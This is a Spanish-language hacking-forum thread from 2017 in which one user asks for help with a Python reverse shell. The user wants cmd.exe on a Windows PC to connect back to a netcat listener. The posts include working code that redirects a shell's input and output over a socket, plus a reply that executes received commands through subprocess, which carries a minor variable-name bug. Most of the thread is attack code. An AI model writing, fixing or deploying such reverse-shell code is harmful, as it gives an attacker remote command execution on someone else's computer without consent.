Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Sentex en 30 Septiembre 2017, 17:49 pm



Título: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: Sentex en 30 Septiembre 2017, 17:49 pm
Hola buenas he buscado por google pero no he encontrado nada se que funciona en linux pero en windows me da error.

Código
  1. #!/usr/bin/python
  2.  
  3. import socket
  4. import subprocess
  5. import os
  6.  
  7. host = "127.0.0.1"
  8. port = 4444
  9.  
  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. s.connect((host, port))
  12. os.dup2(s.fileno(),0)
  13. os.dup2(s.fileno(),1)
  14. os.dup2(s.fileno(),2)
  15. p = subprocess.call(['cmd.exe'])
  16.  

y me salta el error de Bad file descriptor y no se por que.


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: engel lex en 30 Septiembre 2017, 17:57 pm
creo que es por tratar de manejar un socket como un archivo en windows... para que usas el socket como archivo?


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: Sentex en 30 Septiembre 2017, 18:02 pm
Y como la hago con socket


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: engel lex en 30 Septiembre 2017, 18:04 pm
lo que no entiendo es lo que quieres... no le veo sentido a crear un duplicado del file descriptor allí...

despues del conect solo tienes que enviar y recibir datos... ya se termina allí el problema


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: Sentex en 30 Septiembre 2017, 18:16 pm
Como lo harías tu?


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: engel lex en 30 Septiembre 2017, 18:21 pm
Código
  1. #!/usr/bin/python
  2.  
  3. import socket
  4.  
  5. host = "127.0.0.1"
  6. port = 4444
  7.  
  8. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9. s.connect((host, port))
  10.  
  11. while True:
  12. data = sock.recv(10240)#recibe hasta 10kb en una petición
  13. if data: print("se recibió:",data)
  14.  
  15.  

y listo... con la data haces lo que quieras... recv es bloqueante, así que es util muchas veces usar hilos


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: Sentex en 1 Octubre 2017, 12:51 pm
Pero lo que yo quiero hacer es crear una shell reversa de cmd con netcat de escucha por ahora con el codigo de arriba del todo funciona en linux pero en windows tengo que optar por descargar el archivo nc.exe.


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: engel lex en 1 Octubre 2017, 22:14 pm
teoricamente es lo mismo solo tienes que cambiar linea 13
Código
  1. if data: print("se recibió:",data)

por

Código
  1. if data: subprocess.call([data])


reviso en internet y sockets no parece producir ningún problema adicional al conectarse...

tu servidor está bien configurado?, te da algún error alguna de las 2 partes, sé tan detallista como puedas, no tengo nada con que ayudarte


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: Sentex en 3 Octubre 2017, 20:51 pm
No haber yo quiero hacer una shell reversa (cmd.exe) en un pc y que se conecte a mi por netcat.


Título: Re: [PYTHON] Crear reverse shell con socket + netcat
Publicado por: engel lex en 4 Octubre 2017, 02:05 am
eso es una shell reversa XD...

es un programa
Código
  1. #!/usr/bin/python

que abre una conexión desde ella hacia tu servidor
Código
  1. host = "127.0.0.1"
  2. port = 4444
  3.  
  4. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5. s.connect((host, port))

para ejecutar comandos que le envíes
Código
  1. while True:
  2. data = sock.recv(10240)#recibe hasta 10kb en una petición
  3. if data: subprocess.call([data])